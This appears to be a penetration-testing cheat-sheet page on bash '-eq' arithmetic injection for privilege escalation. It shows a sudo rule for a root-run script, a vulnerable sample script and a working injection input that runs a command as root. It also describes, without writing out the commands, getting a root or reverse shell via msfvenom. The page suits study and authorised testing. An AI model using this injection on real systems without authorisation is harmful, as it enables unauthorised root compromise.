githubEdit

Bash eq Privilege Escalation

The -eq comaparison in bash script is vulnerable to arbitrary command execution.

Investigation

Please see this postarrow-up-right for details.

sudo -l

(root) /bin/bash /opt/example.sh

If we can execute above command as root, and the /opt/example.sh contains the numeric comparison such as [[ $var -eq 42 ]], we can execute arbitrary command.

#!/bin/bash

read -rp "Enter guess: " num

if [[ $num -eq 42 ]]
then
  echo "Correct"
else
  echo "Wrong"
fi

To execute arbitrary command, answer this question as below.

sudo /bin/bash /opt/example.sh
Enter guess: a[$(date >&2)]+42
Sun Feb  4 19:06:19 PST 2018
Correct

inject arbitrary command before the correct number (42).

Exploitation (Get a Shell Directly)

It’s easy if we can execute the bash script as root. We only need to insert /bin/sh or /bin/bash command in the answer.

Exploitation (Get a Shell Indirectly)

We can also inject a bash script and execute arbitrary code. First, create a reverse shell script /tmp/shell.elf using msfvenom.

Then start a listener in local machine.

Now execute the bash script as root.

We should get a root shell in local terminal.

References

Last updated